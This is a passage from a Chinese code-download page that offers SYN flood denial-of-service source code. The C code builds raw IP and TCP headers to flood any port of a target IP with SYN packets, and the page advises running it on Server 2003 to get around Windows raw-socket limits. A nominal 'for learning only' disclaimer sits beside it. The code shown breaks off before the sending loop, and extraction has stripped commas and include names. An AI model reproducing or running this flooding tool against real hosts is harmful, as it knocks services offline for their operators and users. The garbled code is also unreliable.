资源简介
SYN flood源代码,可对指定IP的任意端口快速发生SYN数据包,代码利用原始Socket直接操作网络层。
由于微软在XP SP2(包括SP2)以上系统禁止原始SOCKET发生TCP和含无效IP的UDP数据包,所以建议运行在Server 2003。代码仅供学习使用,切莫非法活动。
代码片段和文件信息
#include
#include
#include
#include
#include
#include
#pragma comment(lib “ws2_32.lib“)
#define MAX_RECEIVEBYTE 255
typedef struct ip_head //定义IP首部
{
unsigned char h_verlen; //4位首部长度4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位 (如SYNACK,等)
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (如ICMP,TCP等)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHEADER;
typedef struct tcp_head //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCPHEADER;
typedef struct tsd_head //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSDHEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//Delay_time单位为毫秒。
int main(int argc char* argv[])
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
int SourcePort;
char szSendBuf[60]={0};
BOOL flag;
int rectnTimeOver;
int sleeptime;
printf(“***********************************************************\n“);
printf(“SYN_FLOOD\n“);
printf(“Parameter: FLOOD Target_ip Target_port Delay_time\n“);
printf(“***********************************************************\n“);
if (argc < 3 || argc >4 )
{ printf(“input error! “);
return false; }
if (argc==4) sleeptime=atoi(argv[3]);
else sleeptime=300;
if (WSAStartup(MAKEWORD(22) &WSAData)!=0)
{
printf(“WSAStartup Error!“);
return false;
}
sock=NULL;
if ((sock=socket(AF_INETSOCK_RAWIPPROTO_IP))==INVALID_SOCKET)
{
printf(“Socket Setup Error!“);
return false;
}
flag=true;
if (setsockopt(sockIPPROTO_IP IP_HDRINCL(char *)&flagsizeof(flag))==SOCKET_ERROR)
{
printf(“setsockopt IP_HDRINCL error!“);
return false;
}
nTimeOver=1000;
if (setsockopt(sock SOL_SOCKET SO_SNDTIMEO (char*)&nTimeOver sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间
{
printf(“setsockopt SO_SNDTIMEO error!“);
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));
addr_in.s
- 上一篇:水波干涉模拟程序
- 下一篇:C++经典练习例题200例
相关资源
- 基于MFC的TCP调试助手源码95706
- 移木块游戏,可以自编自玩,vc6.0编写
- C++纯文字DOS超小RPG游戏
- 安科瑞智能电能表MODBUS通讯程序 VC6
- 九齐单片机源码
- Qt画图工具源码(qgraphics draw)
- qt 串口助手源码
- modbus 主机源码
- 《LINUX C编程从初学到精通》光盘源码
- OLED驱动源码
- tm1650+stm32f103源码(board_tm1650.c)
- cheat engine 7.2源码
- CrySearch内存搜索器源码
- FTP客户端源码(c++)
- MFC视频播放器源码(支持avi/wma/mp3等格
- CreatBitmap图片合成源码
- vs2008 can总线通讯源码
- 宠物管理系统课程设计(源码+数据库
- Windows扩展命令程序(源码)
- c语言实现火车订票系统(控制台)源
- 鼠标连点器(附源码)
- c++ 简易贪吃蛇源码
- 杀毒软件源码
- 经典外汇智能交易程序Amazing3.1源码(
- 微型文件系统源码(FatFs)
- 海康私有流分析接口源码(附使用说
- VC6 USB开发源码
- SVM算法实现(源码+文档)
- 俄罗斯方块游戏源码(Tetris)
- 步进电机控制(源码+文档)
评论
共有 条评论